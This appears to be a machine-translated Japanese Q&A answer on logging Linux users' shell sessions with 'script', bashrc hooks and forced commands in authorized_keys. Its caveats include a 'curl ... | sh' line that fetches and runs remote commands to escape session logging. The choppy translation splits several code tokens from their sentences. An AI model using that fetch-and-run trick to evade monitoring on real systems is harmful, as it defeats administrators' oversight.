この質問は自分のセッションを記録したい個人によって尋ねられましたが、別のユースケースは、さまざまなユーザーが何をしているかを追跡したいシステム管理者かもしれません。
script
システム全体の内部での実行bashrc
は、マシンのユーザーがセッションの記録を作成することに抵抗がある場合に適さない可能性があります。
シークレットのままにしたいユーザーは、sshdに別のシェルを開くように要求することでロギングをバイパスするzsh
か(例:)、ロードさbash --rcfile ___
れないように実行/etc/bash.bashrc
できます。
代替アプローチ
2008年のこのガイド(アーカイブ)では、ユーザーがsshでログインしたときに強制的に実行されるように別の方法を使用script
します。この方法では、ユーザーは公開/秘密キーでログインする必要があります。
これは、ユーザーの.ssh/authorized_keys
ファイルのキーの前にスクリプトを追加することで実行されます。
command="/usr/local/sbin/log-session" ssh-dss AAAAB3NzaC1kc3MAAAEBAMKr1HxJz.....
log-session
(アーカイブ)スクリプトが実行するか否かを判断し/usr/bin/script
、このユーザのセッションをログに記録します。
exec script -a -f -q -c "$SSH_ORIGINAL_COMMAND" $LOGFILE
ユーザーが追加されたコマンドを削除できないようにするには、管理者がユーザーのauthorized_keys
ファイルの所有権を引き受ける必要があります。
chown root:root ~user/.ssh/authorized_keys
残念ながら、これはユーザーが自分で追加のキーを追加できないことを意味します。さらに重要なことに、侵害された場合は既存のキーを取り消すことができます。
注意事項
sshdのデフォルト設定では、ユーザーがsshログインでSFTPを実行できるようにするのが一般的です。これにより、ユーザーは変更をログに記録せずにファイルを編集できます。管理者がユーザーにそれを許可しない場合は、SFTPの一部のログを有効にするか、サービスを無効にする必要があります。それでも、ユーザーは端末で次のようなものを実行することにより、ファイルに目に見えない変更を加えることができます。
curl "http://users.own.server/server/new_data" > existing_file
すべてのファイル履歴を記録するコピーオンライトファイルシステムを使用することにより、そのような変更を監視できる場合があります。
ただし、同様のトリックを使用すると、ユーザーはコマンドをログに記録せずに実行できます。
curl "http://users.own.server/server/secret_commands_824" | sh
私はそれに対する簡単な解決策を知りません。可能性は次のとおりです。
- すべてのネットワークデータをログに記録します(後で解きます)。
- すべてのシステムコールを記録します。
auditdを使用すると、このようなことが可能になります。
とにかく...
ユーザーセッションのログが管理者に実際のセキュリティを提供することはほとんどありません。デフォルトでは、ユーザーは自分のファイルのみを操作でき、システムに損害を与えることはできません。悪意のあるユーザーが特権をエスカレートできた場合、ログを無効にしてログを削除できます(管理者がログを別のマシンに追加専用の方法で保存するように設定していない場合)。
ユーザーセッションを自動的にログに記録する管理者は、おそらくこれが行われていることをユーザーに通知する必要があります。一部の法域では、この形式のデータ収集がデータまたはプライバシー法に違反する場合があります。そして少なくとも、ユーザーに気づかせるのは敬意を払うでしょう。
管理者がsudo
ユーザーのセッションを記録することに関心を持つ可能性が高くなります。それはおそらく別の答え、または実際には別の質問に取り組むことができます。
exec
、行の先頭に追加します。script -f
同じシェルPIDで起動する必要があります。